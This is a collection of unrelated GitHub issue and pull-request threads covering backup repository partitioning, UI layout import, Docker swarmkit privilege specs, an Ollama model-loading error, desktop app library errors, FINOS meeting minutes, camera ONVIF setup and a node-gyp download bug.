Question: One repository or multiple per tenant?

I am wondering about the best practice concerning repositories.
I have one S3 bucket containing multiple repositories. At the moment I am using a sepperate repository (using the --prefix option) for each app in a tenant.
For example:
/tenant1-onedrive
/tenant1-sharepoint
/tenant2-exchange
/tenant2-onedrive
...
Is it possible and would it be better for performance or deduplication to use the same repository for multiple apps in the same tenant? My reasoning for this is that SharePoint and Onedrive share a lot of the same data. I am thinking that this could reduce the amount of stored data. But I am also guessing that this could impact the performance because of the index growing much larger, especially in a tenant with 1000s of users and several Tbs of data.

Hi @Integratinator!  This is a great question, thanks for asking it.
When the number of resources (users, sites, etc) is only a couple hundred or fewer, Corso will perform optimally with a single repository for each microsoft tenant application.  A separate repository for each microsoft app (exchange, ondrive, sharepoint, etc) can give a good balance between maximizing content deduplication and other storage performance gains.
Since you're working with thousands of resources you'll probably see better performance if you further partition your repository into smaller sets.  Ex: /tenant-exchange-<partition>, A hunded or so resources per partition is probably best here.
Extra partitioning can provide two benefits: 1/ reduced storage indexes and metadata management, and 2/ (if you're running backups concurrently) reduced temporary state during backup processing.  When running smaller tenants, especially sequentially, we believe the ease of use outweighs the performance gains.  But performance control is the right consideration for large tenants like yours.
If you have further questions, I'd encourage you to join our Discord server.  We've got a very helpful crowd there.  Plus other users who may have already created scripts around partition handling like your're doing.

Thank you for the extensive answer. I am a little bit surprised by it. I understand that a smaller partition would be beneficial from a performance standpoint. However, from a storage standpoint, I would think that smaller partitions would reduce the effectiveness of deduplication.
For example:
I have a tenant with 3000 users (and mailboxes). Let's say that we partition them into groups of 100 users.  That would mean that there are 30 partitions/repositories. And let's consider the CEO sending an email with a Christmas card as an attachment (size 120 MB) to all employees. Would it then be the case that the same email and attachment would be backed up 30 times? Once for each partition/repository? Then we would have used 3,6GB of storage instead of 120Mb if we had only one repository.
Is my thinking correct, or am I missing something?

Is my thinking correct, or am I missing something?

  Our partitioning suggestion is based on internal analysis of the tradeoff between storage management and content deduplication.
Through our own uses of the system we've identified that the growth of storage indexes (ie: the number of backups, as a factor of the number of resources * the history of backups for each resource) within a large repository causes greater performance impacts overall.  These impacts primarily manifest as larger memory and CPU consumption due to metadata and index retrieval at runtime.  Since storage capacity tends to be cheaper than CPU or memory, the gains from content deduplication do not, at scale, positively offset the runtime costs.
On the bright side, the storage layer does include compression.  You wouldn't store the sum total 3.6GB.  It's difficult to know how much each blob can compress.  But the benefit is there.


Instrument types, implement reserved words

Re-using words like "description" are causes confusion.

This is implemented in the StrictFormInstrument type


Import UI layouts created with external tools

Right now, creating a GUI layout involves writing C++ code and compiling.  Obviously, that's not real life.
Having the ability to export/import layouts from an external wireframe tool would be a great benefit for app design.  It would remove a lot of clutter in the source, would eliminate the need to recompile any time people wanted to make a change to a layout, and would result in much faster iteration times.
The format(s) that would be used would depend on what tools would be supported.  It would be a good idea to narrow the scope of the tools to a single format in the beginning.
Some options include:

a home-brew wireframe tool, that can export/import into a native layout format (probably an XML).  This would be a fun project to work on.
Balsamiq - $89 - exports to JSON
Sketch - $99 - exports to SVG - Mac only
Illustrator - $49/mo - exports to SVG

In concept, layouts would be made in an editor, then behavior would be written in C++.  Styling would depend on options in the UIWidgets and in the wireframe tool.

Possible ways to import JSON:

jsoncpp: https://github.com/open-source-parsers/jsoncpp
Leverton's implementation: https://www.allegro.cc/forums/thread/607686

And an example of output exported from Balsamiq:
{
  "mockup": {
    "controls": {
      "control": [
        {
          "ID": "87",
          "measuredH": "45",
          "measuredW": "570",
          "properties": {
            "bold": "false",
            "color": "0",
            "hrefs": {
              "href": [
                {

                }
              ]
            },
            "text": "Welcome to Balsamiq Mockups!"
          },
          "typeID": "Title",
          "x": "80",
          "y": "200",
          "zOrder": "0"
        },
        {
          "ID": "89",
          "h": "10",
          "measuredH": "0",
          "measuredW": "61",
          "properties": {
            "color": "13576743",
            "curvature": "1",
            "direction": "top",
            "rightArrow": "false"
          },
          "typeID": "Arrow",
          "w": "61",
          "x": "12",
          "y": "294",
          "zOrder": "2"
        },
        {
          "ID": "90",
          "h": "166",
          "measuredH": "512",
          "measuredW": "512",
          "properties": {
            "src": {
              "Anchor": -1,
              "ID": "B0D5351C-4553-5BC5-3353-D61D302377D9"
            }
          },
          "typeID": "Image",
          "w": "166",
          "x": "264",
          "y": "25",
          "zOrder": "3"
        },
        {
          "ID": "91",
          "measuredH": "26",
          "measuredW": "94",
          "properties": {
            "bold": "true",
            "color": "3355443",
            "size": "18",
            "text": "Start here!"
          },
          "typeID": "Label",
          "x": "81",
          "y": "281",
          "zOrder": "1"
        },
        {
          "ID": "92",
          "measuredH": "80",
          "measuredW": "275",
          "typeID": "BlockOfText",
          "x": "242",
          "y": "274",
          "zOrder": "4"
        },
        {
          "ID": "93",
          "h": "48",
          "measuredH": "27",
          "measuredW": "57",
          "properties": {
            "text": "Begin"
          },
          "typeID": "Button",
          "w": "111",
          "x": "292",
          "y": "354",
          "zOrder": "5"
        }
      ]
    },
    "measuredH": "402",
    "measuredW": "650",
    "mockupH": "377",
    "mockupW": "638",
    "version": "1.0"
  }
}

Added JSON parser in https://github.com/MarkOates/allegro_flare/commit/90176c5cbb666c4495b60829eecb7b897b83002f

List of typeIDs for elements under the "Common" tab

BlockOfText
Browser
Button
Canvas (called a "Rectangle" in the app)
CheckBox
CheckBoxGroup
ComboBox
Icon
IconLabel
Image
Label
LineOfText
Link
MenuBar
Paragraph
RadioButton
RadioButtonGroup
RoundButton (called a "Shape" in the app)
TextArea
TextInput
TitleWindow (essentially a window with a title)
VerticalScrollBar

Other important elements

Aarow
Button
Title
Arrow
HSlider
__group__

I think the balsamiq loader should be scrapped.  Consider developing a browser-based tool that can export the objects and json.

A layout loader was added for Balsamiq's JSON, and then later removed balsamiq_layout_loader completely in https://github.com/MarkOates/allegro_flare/commit/19fcc240d5f0f07bead67a7eee523b456f003524 due to the reasons discussed in the previous comment.

Rudimentary web page builder added in https://github.com/MarkOates/allegro_flare/pull/124

Though not complete, there are at least the foundations for creating and loading very rudimentary layouts:
Create using: tools/ui_layout_builder/index.htm
Load using: /src/framework/gui/layout_loaders/gui_tool_layout_loader.cpp (tested)


specs: Add minimum raw security profiles needed by plugins to ContainerSpec

This adds per-architecture security profiles to the ContainerSpec (it would also have to be added the PluginSpec).  These are currently the minimum options needed in security profiles to unblock plugins.  This does not cover all the security options that docker run supports.
The linux raw security profile came from the documented plugin config file, under the "Linux" section.  Networks, mounts, env vars, and args I assume can also already be mapped to existing ContainerSpec or ServiceSpec fields.
I have not managed to find out what else should go into a raw windows security profile.
This continues the work done in https://github.com/docker/swarmkit/pull/1944, but is currently only the specs, and not any kind of implementation.
cc @diogomonica @ehazlett @aluzzardi @tiborvass

Codecov Report

Merging #1964 into master will increase coverage by 0.13%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #1964      +/-   ##
==========================================
+ Coverage    54.3%   54.43%   +0.13%
==========================================
  Files         108      108
  Lines       18600    18586      -14
==========================================
+ Hits        10101    10118      +17
+ Misses       7270     7245      -25
+ Partials     1229     1223       -6

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1dad616...6aa749c. Read the comment docs.

Is this supposed to cover the minimum essential to unlock swarm plugins?

@diogomonica Yes, that is the goal.  Let me update the description and title.

Or are you suggesting that devices could also use the Mounts field?

Just wondering if we should centralize the declarations of what elevated privileges a service requires, including bind mounts.

@aaronlehmann @cyli yeah, I think aggregating this into a PrivilegeProfile or something of the sort might make sense.

Just wondering if we should centralize the declarations of what elevated privileges a service requires, including bind mounts.

I've deprecated the mounts in ContainerSpec, and moved it to the per-architecture specific profiles for now.  I guess we need to be able to read from both for a while?

I think aggregating this into a PrivilegeProfile or something of the sort might make sense.

Renamed everything PrivilegeProfile instead of SecurityProfile

I've deprecated the mounts in ContainerSpec, and moved it to the per-architecture specific profiles for now. I guess we need to be able to read from both for a while?

I'm not sure we want to deprecate Mounts in ContainerSpec. I envisioned having actual mount instructions in ContainerSpec, but having mount privileges in a separate place that can easily be checked by some future authorization code. The agent would refuse to act on any mounts that aren't authorized by the privileges structure. I may be thinking about this the wrong way and encouraging an excessively complicated solution. I'd be curious to hear what @diogomonica thinks.

@aaronlehmann having privileges in one place, and actual mount requests in a different place, is a recipe for authZ problems.
The most obvious example being the creation of a service spec that doesn't request privileges, but includes mounts, and the authz code merely checks if privileges for mount were requested, allowing it to pass by unchecked.

Sorry what "mount privileges" are being discussed?

@justincormack @diogomonica Added the caps as an enum on the profile.  PTAL
So do the mount instructions in the privileges section make sense, or should I move them back to container spec?

So do the mount instructions in the privileges section make sense, or should I move them back to container spec?

I don't think they make sense in the privileges section, because they include a lot that's not related at all to privileges, such as target path inside the container, and driver options.
My thought here was to keep the mount instructions where they are now, but require a corresponding privilege grant in PrivilegeProfiles for each one. These grants could be checked by authZ code. https://github.com/docker/swarmkit/pull/1964#issuecomment-280723322
@diogomonica didn't seem positive about this:

having privileges in one place, and actual mount requests in a different place, is a recipe for authZ problems.
The most obvious example being the creation of a service spec that doesn't request privileges, but includes mounts, and the authz code merely checks if privileges for mount were requested, allowing it to pass by unchecked.

My thinking about this case is that the agent must refuse to act on any mount instructions that aren't accompanied by a privilege grant.

If you feel strongly about it, I'm ok w/ that tradeoff @aaronlehmann

Since both have to come through the specs, one in the container spec, one in the privilege profiles which are also in the container spec, would that be just copying the same stuff in 2 places?  Since both have to come from the user?

If you feel strongly about it, I'm ok w/ that tradeoff

No, I don't feel strongly about it. Just trying to find the best tradeoff. The privilege profiles don't seem like the right place to place detailed mount instructions with driver options and so on. And it doesn't seem right either to have authZ code look into the ContainerSpec to see what mounts a service is requesting and make sure those mounts are okay. But I'm not sure what's best here and none of the options would be horrible for me.

Since both have to come through the specs, one in the container spec, one in the privilege profiles which are also in the container spec, would that be just copying the same stuff in 2 places? Since both have to come from the user?

It would be slightly redundant but the ContainerSpec would include detailed parameters for the mount, and PrivilegeProfile would only say "this service wants to mount /path".

Discussed this with @diogomonica and @cyli. I misunderstood the intent of PrivilegeProfiles as trying to centralize all security-related properties in one place. This is not, in fact, the intent. They will contain settings around capabilities and similar options, but other security-related items that might be interesting to authorization plugins, such as bind mounts and secret references, will stay outside PrivilegeProfiles. This is fine.
LGTM

Not a swarmkit maintainer but this LGTM as a great start for getting security related config supported.  Nice work!

@justincormack since the engine HostConfig has CapAdd and CapDrop should we support that here or just assume that if it's not in the capabilities it's implicitly dropped?

PR takes care of adding the profiles to PluginSpec as well. Can you please update the commit title and description accordingly?

So I have an important bikeshedding problem #oxymoron.
First, PrivilegeProfile make me think that everything that is privileged is in there, but I am not sure if that's the case. Bind mounts? I start to think it's more like a HostConfig.
I also wonder if we shouldn't just not have a name at all and simply have LinuxCapabilities under a Linux field. Simply embed in ContainerSpec the capabilities and devices field, and same for pluginspec.
I can't seem to find a satisfying solution :S

@tiborvass where will you put the sec comp profile? Inside LinuxCapabilities?

@diogomonica LinuxSeccomp ?

/shrug

@diogomonica basically I'm wondering if it's fine to not "bundle" the various fields like Capabilities, Devices, Seccomp into one object that we have trouble finding a name for because it wouldn't be complete.

@aluzzardi has opinions

@tiborvass:  just to summarize, is your proposal:
message ContainerSpec {
    ...
    LinuxOptions linux
    WindowsOptions windows
}

message LinuxOptions {
    repeated Capabilities capabilities
    repeated Devices devices
    bool allow_all_devices
}

message WindowsOptions {
    string credential_specs
}

And similarly for plugin spec?  (I have no strong opinions - happy to change if folks feel this works better)

@cyli yes. Not saying that's the best thing. Just that, we did something similar for plugins. If we are happy with a name for PrivilegeProfile then that's fine too.

Considering this is flat in docker/docker (the platform part), should we do the same here? e.g. have Capabilities at the top level which would be ignored by windows.

My preference, without any additional context, is have it in sub objects, mainly because there'd be a lot of duplication otherwise between the plugin spec and the container spec.
Within the context of translatation from swarm to docker, it seems like some translation already needs to happen for a full list of capabilities -> CapAdd and CapDrop, and from strings to the enum.
Alternately, do we want just want to copy and paste CapAdd, CapDrop (repeated strings), and Devices from the HostConfig for easier translation, instead of providing the full list of capabilities?  The plugin config looks like it specifies only CapAdd:  https://github.com/docker/docker/blob/master/plugin/v2/plugin_linux.go#L118.

@aluzzardi shouldn't this be in TaskSpec instead of PluginSpec? Particularly if this will be shared by ContainerSpec later for services.

@diogomonica Oh that's true - it could go in the TaskSpec instead of both the ContainerSpec and PluginSpec - it just wouldn't apply to the NetworkAttachmentSpec runtime.
So are we ok with just going with CapAdd and CapDrop instead of the full list of Capabilities?

@cyli is the goal to allow some kind of default? I'm worried that by going w/ cap add and cap drop we don't get to a world where the AuthZ plugin has all the information needed to do it's job, and has to rely on some external knowledge of what the current "default" is, and if current denied capability Y is enabled by not dropping it.

@diogomonica Yes, to allow the docker default, and also to make translation easier with the docker.
Agree that it's not ideal that the authz plugin would have to know about what the current docker default is, and also this means that upgrading a docker version could potentially what capabilities a service is configured with (although that's currently the case already I think).
Although possibly https://github.com/docker/swarmkit/pull/1744 could help with that (if the interpolated specs interpolated the defaults?)

Why are we trying not o have the full list of caps in the first place?

The problem is that the docker client does not know what the full cap set
is, as it is a daemon side decision (at present a constant one but this
really needs to change).
For plugins they need to specify the full set so it is ok but this does not
match up with normal containers
On 26 Feb 2017 14:46, "Diogo Mónica"<EMAIL_ADDRESS>wrote:

Why are we trying not o have the full list of caps in the first place?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/docker/swarmkit/pull/1964#issuecomment-282594830, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAdcPJfrKThiqy8E5fkRXvEU_6yRtePUks5rggCygaJpZM4MD2ma
.

@justincormack shouldn't we have a mechanism to provide the recommended full profile an image has to run with? Ideally this would come inside of the image itself, when pulling from the hub, but adding it to the API and having the remote AuthZ plugin do the intersection between both might not be a bad way to go forward.

Just double-checking - should this be closed, since we're probably going to go with opaque plugin blobs and maybe Docker's HostConfig instead?

Isn't this related to profiles, in a way? We'll probably have to have something similar somewhere

@aluzzardi Profiles/high level grants I think are going to be mainly a CLI mapping for now.  Possibly we want to update the HostConfig in Docker eventually?  cc @diogomonica

I sort of lost track of how this fits in with everything else. It seems to overlap with #2075, but #2075 did not add the capabilities. If I understood correctly, capabilities are a hard requirement for 17.06. It sounds like we should either resurrect this to add the capabilities or open something separate, perhaps drawing on the work that took place here.
cc @aluzzardi

I think this is no longer needed as plugins will be an opaque GenericRuntimeSpec and others should use https://github.com/docker/libentitlement.


BUG: Avoid negative variances in circular statistics

Reference issue
Fixes gh-12740
What does this implement/fix?
In the example, the inputs are so close that the result should be numerically 0. However, due to rounding errors the hypot comes out as above 1. Simply limiting the upper bound for R to 1 gives zero as expected.

The CI failures here are real, due to E   RuntimeWarning: invalid value encountered in minimum.

The tests are supposed to produce nans, so I think the warning is benign. I haven't been able to reproduce locally but am hoping np.errstate will silence it.

LGTM now, merged. Thanks @peterbell10.


Woodside -> Extreme analysis

I got the below error when I try this function without current:

This is missing surface_current values,
At the moment it is not setup for only one parameter


Remove Kitematic docs, as it's deprecated

Proposed changes

Unreleased project version (optional)

Related issues (optional)

Thanks @thaJeztah. Should we add the Kitematic deprecation notice in the Desktop release notes?

Thanks @thaJeztah. Should we add the Kitematic deprecation notice in the Desktop release notes?

Hmm... good one; I think it's been removed for some time now (would have to check which release removed it?) I see [DESKTOP-1736] was related to removing it from the menu, but not sure which release that was, and if there's other bits removing it in later releases. @mat007 do you know?

Kitematic was removed from Desktop ages ago, I think it’s too late to release note it 😁


Cannot create a model based on llama2:70b

If we change example devops-engineer model slightly to use 70b model instead of 13b, like:
# Modelfile for creating a devops engineer assistant
# Run `ollama create devops-engineer -f ./Modelfile` and then `ollama run devops-engineer` and enter a topic

FROM llama2:13b
PARAMETER temperature 1
SYSTEM """
You are a senior devops engineer, acting as an assistant. You offer help with cloud technologies like: Terraform, AWS, kubernetes, python. You answer with code examples when possible
"""

Then on it generates everything fine, but it fails with an error:
$ ollama run devops
>>> hello
Error: failed to load model
For more details, check the error logs at /Users/ollama/.ollama/logs/server.log

and the diagnostics is:
error loading model: llama.cpp: tensor 'layers.0.attention.wk.weight' has wrong shape; expected  8192 x  8192, got  8192 x  1024
llama_load_model_from_file: failed to load model

while same Modelfile with originally used b13 works fine.

@asarturas in your Modelfile, did you mean FROM llama2:70b?
The error you're seeing is likely due to num_gqa not being set correctly. The value should be correct in the upstream 70b model so I would first try ollama pull llama2:70b then recreate the devops-engineer model.

@mxyng brilliant, thank works, thank you. does this documentation tweak looks legit? https://github.com/jmorganca/ollama/pull/326

I see that #326 was merged, resolving everything from this issue. Thanks so much for the PR and identifying the issue. I'll go ahead and close this.

I'm running into the same issue:
FROM codellama:34b-instruct
PARAMETER temperature 0.2

Changing temperature triggers the same error, I've tried to add:
PARAMETER num_gqa [1|2|3|4]
Didn't change anything, made sure as well to have re-pulled codellama:34b-instruct
Should I open a new issue?

From the 7B WizardLM I can do this and it works:
FROM wizardlm-uncensored:latest

PARAMETER temperature 0.7
PARAMETER num_ctx 4096
PARAMETER top_p 0.95
PARAMETER repetition_penalty 1.15
PARAMETER repeat_last_n -1

Running the base model with --verbose after exit could find the default params:
llama_model_load_internal: format     = ggjt v3 (latest)
llama_model_load_internal: n_vocab    = 32000
llama_model_load_internal: n_ctx      = 2048
llama_model_load_internal: n_embd     = 8192
llama_model_load_internal: n_mult     = 256
llama_model_load_internal: n_head     = 64
llama_model_load_internal: n_head_kv  = 8
llama_model_load_internal: n_layer    = 48
llama_model_load_internal: n_rot      = 128
llama_model_load_internal: n_gqa      = 8
llama_model_load_internal: rnorm_eps  = 5.0e-06
llama_model_load_internal: n_ff       = 22016
llama_model_load_internal: freq_base  = 1000000.0
llama_model_load_internal: freq_scale = 1
llama_model_load_internal: ftype      = 2 (mostly Q4_0)
llama_model_load_internal: model size = 34B
llama_model_load_internal: ggml ctx size =    0.13 MB
llama_model_load_internal: mem required  = 18168.87 MB (+  384.00 MB per state)

We can see num_gqa should be set to 8
Using this value in Modelfile works now


Search smoke test fails

Linux, run smoke test, notice error
fyi @roblourens
I manually verified that search and replace seems good.
VSCode Smoke Tests (Electron)
       VSCode Smoke Tests (Electron)
         Search
           replaces first search result with a replace term:
     Error: Timeout: get element '.search-view .messages[aria-hidden="true"] .message>span' after 20 seconds.
      at /home/parallels/Development/vscode/test/automation/out/code.js:174:23
      at Generator.next (<anonymous>)
      at fulfilled (/home/parallels/Development/vscode/test/automation/out/code.js:9:58)

Can't repro 🤷♂

Let me know if I can provde more details, or feel free to close it...


./TogglDesktop: symbol lookup error: /lib64/libxcb-dri3.so.0: undefined symbol: xcb_get_reply_fds

fedora 21

the same on ubuntu 14.10

Tanel, I had the same problem (fedora 21 64bit), but if you make it from source it works fine.
You just need to execute
export QMAKE=/usr/bin/qmake-qt5
before any "make"

also seeing missing libssl warnings on Fedora

Tested on Fedora 21, should work better now.

Dear users who experienced this issue - please check the latest stable build if it fixed the issue. It not, please feel free to reopen this issue. Thank you!

hi, Tanel
just downloaded toggldesktop_x86_64-7_1_198-2015-02-04-19-24-33.tar.gz
still got
./TogglDesktop: symbol lookup error: /lib64/libxcb-dri3.so.0: undefined symbol: xcb_get_reply_fds
$ ./TogglDesktop
QMetaType::registerTypedef: -- Type name 'QVector<' previously registered as typedef of 'QVector<AutocompleteView*>' [1034], now registering as typedef of 'QVector<GenericView*>' [1037].
Log path  "/home/dante/.local/share/TogglDesktop/toggldesktop.log"
DB path  "/home/dante/.local/share/TogglDesktop/toggldesktop.db"
./TogglDesktop: symbol lookup error: /lib64/libxcb-dri3.so.0: undefined symbol: xcb_get_reply_fds

Hi! Please check if the new build is any better: https://assets.toggl.com/installers//toggldesktop_x86_64-7_1_199-2015-02-05-04-14-14.tar.gz
Thank you!

same same :(
I get the same output.

same error

Hi.
I had the same problem (1 hour ago) on Ubuntu 14.10, but after installing qt4-qmake everythings works great. But app is awful and ugly - i will use web app :D

Hehe :) The design will improve.
OK if it started to run with qt4-qmake installed, then I'm missing some libraries when packaging the app.

I tried compile it from source, and i need that package to solve other problem.
By the way: how it is visible in apt-get when i installed from .deb package? I cant find it.

the package name is toggldesktop

Since I've been unable to reproduce the issue, I'll close this issue :( :(
It seems that installing from source will fix the issue.
However I'm working on a deb package, that lists dependencies, instead of packaging them. It should solve this problem. See #1071

It can be fixed by removing libxcb.so.1 from toggledesktop/lib/, and use the lib provided by the system. At least on Fedora 21.

Thanks, @fagzal.  That solution also worked on Ubuntu 15.


Architecture as Code - Working Group Meeting - Tuesday 23rd July

Date
Tuesday 23rd July - 11:00 EST / 16:00 BST
Untracked attendees

Name
Firm
Comment

Christopher Avalos
Individual

Brad Davis
Red Hat

Dean Ogden

Balaji Siva
Red Hat

Wilson Sinclair

Oli Bage
LSEG

Frank Schawillie
RBC

James McLeod

Pete Suggitt

Meeting notices

FINOS Project leads are responsible for observing the FINOS guidelines for running project meetings. Project maintainers can find additional resources in the FINOS Maintainers Cheatsheet.

All participants in FINOS project meetings are subject to the LF Antitrust Policy, the FINOS Community Code of Conduct and all other FINOS policies.

FINOS meetings involve participation by industry competitors, and it is the intention of FINOS and the Linux Foundation to conduct all of its activities in accordance with applicable antitrust and competition laws. It is therefore extremely important that attendees adhere to meeting agendas, and be aware of, and not participate in, any activities that are prohibited under applicable US state, federal or foreign antitrust and competition laws. Please contact<EMAIL_ADDRESS>with any questions.

FINOS project meetings may be recorded for use solely by the FINOS team for administration purposes. In very limited instances, and with explicit approval, recordings may be made more widely available.

Agenda

[x] Convene, roll call, welcome new people
[x] Approve previous meeting minutes
[x] Recap of CALM / AasC and purpose for new joiners if needed (@jpgough-ms  / 5mins)
[x] Quick fire updates

OSFF New York talks submitted
RedHat discussions and reviews of code and documentation
FINOS Leadership team working through feedback

[x] Update on resiliency requirement domain document (5 mins)
[x] Approach for new domains

Multiple new domains proposed: Security, Observability, Resiliency
Requirements gathering groups
Design for implementation in the CALM model (#310)

[x] AOB, Q&A & Adjourn (5mins)

Action Items
Zoom info
Join Zoom Meeting

https://zoom.us/j/94904595244
Meeting ID: 949 0459 5244
Passcode: 545224
Find your local number: https://zoom.us/u/aesEqmNODb

Github Repo: https://github.com/finos/architecture-as-code/
Project Board: https://github.com/orgs/finos/projects/98
Mailing List: Email<EMAIL_ADDRESS>to subscribe to our mailing list

In attendance: @jpgough-ms

Graham Packer / Morgan Stanley

Will Osborne / Morgan Stanley

Aidan McPhelim / Morgan Stanley

Meg Foley and Markus Nagel, both at Red Hat :wave:

Dario Bevilacqua / LSEG

David Johnston - Red Hat - Working with Denis Coffaro on a joint session for the upcoming NYC Open Source Finance Forum.

Karl Moll / FINOS

Minutes of meeting
FINOS Meeting: July 23, 2024
Commenced: 16:03 BST
Introduction / FINOS Disclaimer: Done
Agenda & Attendance noted: #308 - Done
Previous minutes approved by attendees and closed out (Issue #288): - Approved
Recap of CALM / AaC: Done
ACTION - @jpgough-ms to schedule a deep dive session on CALM aimed at new contributors
Quick fire updates:
OSFF New York talks submitted:

specifically CALM Security domains

RedHat discussions and reviews of code and documentation:

Attendees from Trusted Software Supply Chain and Backstage groups from Red Hat
Investigating possibility of partnership between Red Hat and the AasC group
May be Red Hat LLM patterns that could leverage CALM

FINOS Leadership team working through feedback: Done
Update on resiliency requirement domain document (5 mins):
ACTION -  Postponed to next session due to missing key contributors
Approach for new domains:

Initial Proposal submitted by Will Osborne. Not a final solution.
Aim to keep the core of CALM simple, reduce opinion, keep as flexible as possible
Create ability to provide external JSON schemas to extend CALM with new features without adding the opinions of extention to the core schema
Call for action: provide feedback on the proposal, identify core features vs. extendible features

AOB, Q&A & Adjourn (5mins)
TraderX Sprint - @karlmoll

Introduction to the TraderX Tech Sprint for new attendees
Signposted the CALM Security Domain issue on the TraderX project

Communication methods:

Stick to the AasC GitHub issues/discussions, possible Slack channel in future, but some may not be able to use Slack due to employer restrictions

Q: Christopher Avalos - Has there been analysis of commercial products that offers similar solutions?
A:
@jpgough-ms - Spoken to Simon Brown on C4 + creator of  C4 Interflow. Yan Tordoff - looked at other options, but they were rejected
ACTION - @jpgough-ms  to check if there's documentation on rejected comercial options and how we document this in future (ADRs)
@yt-ms - Interoperability Key, translators already in progress.
Oli Bage - CALM is being build with Financial Services controls in mind, comercial solutions too generic but may be able to leverege aspects of them
@karlmoll - FINOS AI readiness SIG working on a architectural governance, will need to be machine understandable to certify compliance. CALM may be used for this. Coming with Financial Services use cases/controls in mind.
@karlmoll  - Microsoft Radias group is looking at TraderX, there may be a valuable conversation possible here
ACTION - @karlmoll to make introduction for James Gough to the MS Radias group
Adjourned: 17:00

In attendance - Christopher Avalos

Approved at https://github.com/finos/architecture-as-code/issues/360


Implement MSplit Parsing

I don't have an Android phone, so I have no idea how these splits look like. Help anyone?

I can take care of this when I get home later

Looks like MSplit doesn't support exporting the splits, so I guess we can't really parse them.


Raspberry pi - Docker / ONVIF

Hello.
I'm having issues with connecting to my IP Camera using ONVIF protocol.
System info:
cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

docker version
Client: Docker Engine - Community
 Version:           24.0.6
 API version:       1.43
 Go version:        go1.20.7
 Git commit:        ed223bc
 Built:             Mon Sep  4 12:31:36 2023
 OS/Arch:           linux/arm64
 Context:           default

Server: Docker Engine - Community
 Engine:
  Version:          24.0.6
  API version:      1.43 (minimum version 1.12)
  Go version:       go1.20.7
  Git commit:       1a79695
  Built:            Mon Sep  4 12:31:36 2023
  OS/Arch:          linux/arm64
  Experimental:     false
 containerd:
  Version:          1.6.22
  GitCommit:        8165feabfdfe38c65b599c4993d227328c231fca
 runc:
  Version:          1.1.8
  GitCommit:        v1.1.8-0-g82f18fe
 docker-init:
  Version:          0.19.0
  GitCommit:        de40ad0

Pretty much used the tutorial for seting up with docker-compose:
version: "3.9"
services:
  kerberos-agent1:
    image: "kerberos/agent:latest"
    ports:
      - "8081:80"
    environment:
      - AGENT_NAME=agent1
      - AGENT_CAPTURE_IPCAMERA_ONVIF_XADDR=x.x.x.x:80
      - AGENT_CAPTURE_IPCAMERA_ONVIF_USERNAME=admin
      - AGENT_CAPTURE_IPCAMERA_ONVIF_PASSWORD=megapassword
    volumes:
      - ./agent1/config:/home/agent/data/config
      - ./agent1/recordings:/home/agent/data/recordings

The configuration file I'm using is the same as in the tutorial.
config.json
However, after running compose up, there is an issue with the ONVIF endpoint:
{"level":"error","msg":"HandleHeartBeat: error while getting PTZ configurations: target endpoint service not found","time":"2023-11-09T19:49:49+01:00"}

Host is in the same network as the IP Camera.
I can ping the camera from the host.
Also I tried to connect to the camera with a ODM tool (ONVIF Device Manager) with the proper credentials and it works:

I have no idea, why this doesn't work.
Not sure, if related, but
I noticed, that any change I do in the web administration, won't get saved.
Only way I can set something up is to write RTSP stuff to config and ONVIF creds as ENVs.
Can, someone, please help me with this?
Thank you, very much.

Hey there, the error you're saying is that PTZ is not available on the device (it's actually a warning). Can you confirm ONVIF, by pressing the "verify" button?

Hello.
First of all, thank you for the support.
I managed to get around the permissions.
After changing some settings and compose down, the setting got stored in the config.json.
$ chmod -R 755 agent1
$ chown 100:101 agent1/ -R

With the ONVIF, i tried again, but still got the error.

The ONVIF is active on the IPCAM, as I posted above, i can connect to the camera with different app.
Is the ONVIF used only for the PTZ?
I'm trying to build an application, that will grab a list of IP addresses from a database and spin up agents for each camera
that were preconfigured with credentials for the ONVIF.
Can this be done, or do I have to know specific RTSP URLs?
My NAS from synology can get a streams and other function configured automaticaly just through ONVIF.
Sorry, i'm trying to get my head around this, but my only chance to get this up and running on the scale is using Kerberos nad it's API for the function that I will need in the future.
If I can get this running, i will get around figuring out the licensing.
Thanks, again.

Currently we use ONVIF for PTZ through our Kerberos Hub offering. It looks like the ONVIF library in the Kerberos Agent is not able to detect the ONVIF settings of the camera you are using (would need to debug it).  Currently we don't leverage RTSP discovery in the agent through ONVIF (we do it in Kerberos Factory), so for now you'll need to fetch the RTSP stream manually when using our Kerberos Agent.
Regarding your use case, you could build ONVIF around it. In your application you run ONVIF discovery (through another library), fetch the IP address and RTSP stream of each camera, store it in your database, and then start a Kerberos Agent (using environment variables)


Strange issue building node-time

As part of the build, several things are downloaded from nodejs.org, starting with the tarball.  these downloads all fail with a 503 response from the server. However, I can download them with a browser and with curl.  I did a packet capture on the request that goes out from node-gyp and it looks like this:
0000   00 1f 26 27 36 c5 00 23 55 6c 54 39 08 00 45 00  ..&'6..#UlT9..E.
0010   02 8b 66 c4 40 00 80 06 00 00 81 c4 c4 eb d0 57<EMAIL_ADDRESS>0020   e9 c9 cd 06 1f 91 d4 6b 6f 6f c4 15 74 9a 50 18  .......koo..t.P.
0030   01 02 03 4f 00 00 47 45 54 20 68 74 74 70 3a 2f  ...O..GET http:/
0040   2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  /...............
0050   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0060   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0070   00 00 00 00 00 2f 64 69 73 74 2f 76 30 2e 31 30  ...../dist/v0.10
0080   2e 33 35 2f 6e 6f 64 65 2d 76 30 2e 31 30 2e 33  .35/node-v0.10.3
0090   35 2e 74 61 72 2e 67 7a 20 48 54 54 50 2f 31 2e  5.tar.gz HTTP/1.

Notice that there are 52 repeated hex 00s between http:// and /dist/v0.10...
This is repeatable on fresh installs of node on Windows and Ubuntu.  I debugged it as far as I could and request seems to be getting valid url.

@jmorales4 Are you able to reproduce this on a more recent version of node-gyp?


htlcswitch/link: add hash resolver

